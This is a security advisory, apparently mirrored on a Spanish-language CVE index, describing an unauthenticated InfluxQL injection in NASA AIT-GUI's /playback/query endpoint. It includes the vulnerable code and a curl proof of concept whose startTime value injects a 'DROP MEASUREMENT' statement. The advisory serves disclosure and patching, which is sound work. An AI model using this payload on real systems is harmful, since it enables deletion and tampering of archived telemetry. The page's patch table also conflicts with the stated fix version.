GHSA-X8WW-97RJ-CX44
Unauthenticated InfluxQL injection in /playback/query
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-X8WW-97RJ-CX44 divulgada · CVSS 9.8 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
`handle_playback_query_post` builds an InfluxQL query by directly string-
formatting three request parameters (`packet`, `startTime`, `endTime`) with no
escaping or validation, then executes it against the InfluxDB historian. An
attacker who can reach the endpoint (directly on the network, or cross-site via
Finding 1) can inject arbitrary InfluxQL. Because the InfluxDB query API
accepts multiple `;`-separated statements, this extends beyond data disclosure
to destructive statements such as `DROP MEASUREMENT` / `DROP SERIES`. The
endpoint performs no session or CSRF-token check.
Patch
v2.5.3
Fix Details
- AIT-GUI now validates start and endtime before formatting it a SQL Statement.
Vunerability Details
`ait/gui/__init__.py:1390`:
@App.route("/playback/query", method="POST")
def handle_playback_query_post():
...
packet = bottle.request.forms.get("packet")
start_time = bottle.request.forms.get("startTime")
end_time = bottle.request.forms.get("endTime")
uid = tlm_dict[packet].uid
point_query = "SELECT * FROM \"{}\" WHERE time >= '{}' AND time <= '{}'".format(
packet, start_time, end_time
)
points = list(playback.dbconn.query(point_query).get_points())`start_time` and `end_time` are placed inside single quotes with no sanitation,
so a value such as
2020-01-01T00:00:00Z' ; DROP MEASUREMENT "1553_HS_Packet" ; --closes the quoted literal and appends a second statement. `packet` is
constrained to a valid telemetry-dictionary key (it is used as
`tlm_dict[packet].uid` first, raising `KeyError` otherwise), but `start_time`
and `end_time` are entirely free-form. The same unsanitised
`SELECT * FROM "{}"` pattern also appears in `handle_playback_range_get`
(`ait/gui/__init__.py:1359`); there the value comes from the database rather
than the client, but it demonstrates the pattern is systemic.
Preconditions: telemetry playback must be enabled — i.e. the
`ait.core.server.plugins.data_archive.DataArchive` plugin is configured and a
database connection succeeds (`Playback._db_connect`, `ait/gui/__init__.py:208`).
PoC
With playback enabled:
curl -X POST http://localhost:8080/playback/query \
--data-urlencode 'packet=1553_HS_Packet' \
--data-urlencode "startTime=2020-01-01T00:00:00Z' ; DROP MEASUREMENT \"1553_HS_Packet\" ; --" \
--data-urlencode 'endTime=2020-01-02T00:00:00Z'The resulting statement sent to InfluxDB is:
SELECT * FROM "1553_HS_Packet" WHERE time >= '2020-01-01T00:00:00Z' ; DROP MEASUREMENT "1553_HS_Packet" ; --' AND time <= '2020-01-02T00:00:00Z'For a browser-delivered (CSRF) variant, chain with the `Origin: null` bypass in previous finding.
Impact
InfluxQL injection (CWE-89). Any client able to reach `/playback/query` — no
authentication or CSRF token required — can read arbitrary measurements from
the telemetry historian and, via multi-statement queries, delete or otherwise
tamper with archived mission telemetry. Combined with Finding 1 it is
exploitable purely by luring an operator to a web page.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
PyPIait-gui |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/NASA-AMMOS/AIT-GUI/security/advisories/GHSA-x8ww-97rj-cx44Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
